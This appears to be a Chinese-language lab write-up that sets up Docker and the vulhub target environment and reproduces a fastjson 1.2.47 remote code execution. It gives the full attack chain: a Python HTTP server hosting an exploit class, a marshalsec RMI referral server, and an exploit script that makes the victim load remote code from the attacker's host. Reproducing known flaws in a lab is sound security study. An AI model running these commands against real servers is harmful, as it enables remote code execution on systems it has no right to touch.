docker漏洞环境搭建并复现某fastjson漏洞
补一个之前复现fastjson漏洞的记录,poc已有
1、搭建docker(mac版)
参考链接:https://www.runoob.com/docker/macos-docker-install.html
安装成功后进行初始化
问题:发现80端口被占用
解决:https://blog.csdn.net/haha223545/article/details/105244919,是apache占用了,所以停止apache服务即可:sudo apachectl stop
2、从git上拉取漏洞环境靶机vulhub(mac需要装好Git)
进入后能看到有许多漏洞环境
3、使用docker
进入对应的文件夹,使用docker-compose up
成功启动,漏洞环境已经搭好
4、开始漏洞攻击复现
从docker中登录受害者靶机,可以查看是否有文件生成
docker ps -a:查看ID
docker exec -it ID /bin/bash
接下来有两种方式:
1、使用另一台计算机作为攻击机和服务器端,进行攻击
2、使用docker搭建一个服务器端,本机作为攻击机(不然攻击机和受害机IP会相同)
- 记录第一种方法实践过程:
选择同一网段下的另一个计算机,搭建服务器端
查看IP,开启python Http服务(注意要和rmi在同一文件夹下开启,不然无法访问到文件的),打开rmi服务
IP为10.141.x.x,攻击语句:
1、python3 -m http.server --bind 0.0.0.0 8888
2、java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer “http://x.x.x.x:8888/#Exploit” 9999
3、python3 fastjson-1.2.47_rce.py http://s.s.s.s:8080/ rmi://x.x.x.x:9999/Exploit
其中,第一句中的8888端口和第二句中的8888,端口号可改但须一致,第二句中的9999和第三句中的9999,端口号可改但须一致,x.x.x.x为本机IP,即攻击者ip,s.s.s.s为受害者靶机Ip,端口8080需要根据靶机环境进行更改
攻击成功后,能在受害者靶机上看到exphub文件,在http上也能看见请求,复现成功